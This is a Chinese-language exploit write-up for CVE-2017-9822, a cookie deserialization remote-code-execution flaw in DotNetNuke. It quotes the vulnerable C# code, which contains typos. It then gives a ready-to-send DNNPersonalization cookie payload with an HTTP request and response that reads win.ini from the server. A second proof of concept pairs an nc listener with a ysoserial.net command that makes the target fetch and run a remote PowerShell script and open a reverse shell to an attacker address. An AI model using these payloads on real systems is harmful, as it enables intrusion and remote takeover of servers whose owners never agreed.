CVE-2017-9822

[CVE-2017-9822] DotNetNuke Cookie 反序列化远程代码执行 (RCE)

---

DotNetNuke (DNN) 版本 5.0.0 至 9.3.0 存在反序列化漏洞，可导致远程代码执行 (RCE)。DotNetNuke 使用 DNNPersonalization cookie 来存储匿名用户的个性化选项（已验证用户的选项通过其个人资料页面存储）。当应用程序提供自定义 404 错误页面时（这也是默认设置），会使用此 cookie。

有漏洞的 C# 代码如下所示：DNN Platform/Library/Common/Utilities/XmlUtils.cs

public static Hashtable DeSerializeHashtable(string xmlSource, string rootname)
{
	var HashTable = new Hashtable();

	if (!String.IsNullOrEmpyt(xmlSource))
	{
		try
		{
			var xmlDoc = new XmlDocument();
			xmlDoc.LoadXml(xmlSource);

			foreach (XmlElement xmlItem in xmlDoc.SelectNodes(rootname + "/item"))
			{
				string key = xmlItem.GetAttribute("key");
				string typeName = xmlItem.GetAttribute("type");
				
				// Create the XmlSerializer
				var xser = new XmlSerializer(Type.GetType(typeName));

				var readder = new XmlTextReadder(new StringReader(xmlItem.InnerXml));

				// Use the Deserialize method to restore the object's state, and store it
				// in the Hashtable
				hashTable.Add(key, xser.Deserialize(reader));
			}
		}
		catch(Exception)
		{
			// Logger.Error(ex); /*Ignore Log because if failed on profile this will log on every request.*/
		}
	}

	return hashTable;
}

注意，修复后的代码可在 DotNetNuke github 仓库 中找到

预期的结构包含一个 type 属性，用于指示服务器在反序列化时要创建的对象类型。每当应用程序尝试加载当前用户的个人资料数据时，就会处理该 cookie；当 DNN 配置为使用其内置错误页面处理 404 错误时（默认配置），就会发生这种情况。攻击者可以利用此漏洞在系统上执行任意代码。

概念验证 (PoC) 1：安全模式（仅检测）

为了生成 payload（检查漏洞），请使用 YSoSerial.net 的 DotNetNuke 插件

PS C:\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -p DotNetNuke --help
ysoserial.net generates deserialization payloads for a variety of .NET formatters.

Plugin:

DotNetNuke (Generates payload for DotNetNuke CVE-2017-9822)

Options:

  -m, --mode=VALUE           the payload mode: read_file, write_file,
                               run_command.
  -c, --command=VALUE        the command to be executed in run_command mode.
  -u, --url=VALUE            the url to fetch the file from in write_file
                               mode.
  -f, --file=VALUE           the file to read in read_file mode or the file
                               to write to in write_file_mode.
      --minify               Whether to minify the payloads where applicable
                               (experimental). Default: false
      --ust, --usesimpletype This is to remove additional info only when
                               minifying and FormatterAssemblyStyle=Simple.
                               Default: true

PS C:\>ysoserial.net\ysoserial\bin\Release\ysoserial.exe -p DotNetNuke -m read_file -f C:\Windows\win.ini

或直接使用以下 payload

<profile>
    <item key="name1: key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
        <ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
            <ExpandedElement />
            <ProjectedProperty0>
                <MethodName>WriteFile</MethodName>
                <MethodParameters>
                    <anyType xsi:type="xsd:string">C:\Windows\win.ini</anyType>
                </MethodParameters>
                <ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
            </ProjectedProperty0>
        </ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
    </item>
</profile>

如果一切顺利，以下请求将在响应体中返回 win.ini 文件的内容。

GET /__ HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: dnn_IsMobile=False; DNNPersonalization=<profile><item key="name1: key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ExpandedElement/><ProjectedProperty0><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">C:\Windows\win.ini</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
Set-Cookie: .ASPXANONYMOUS=...; expires=Wed, 28-Oct-2020 03:54:58 GMT; path=/; HttpOnly
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 19 Aug 2020 17:14:58 GMT
Connection: close
Content-Length: 109

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

概念验证 (PoC) 2：激进模式（通过 powershell 反弹 TCP shell 进行利用）

在本地机器上，监听任何未使用的端口

$ nc -nlvp 7575

使用 YSoSerial.net 的 DotNetNuke 插件生成 payload

PS C:\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -p DotNetNuke -m run_command -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.101 -Port 7575"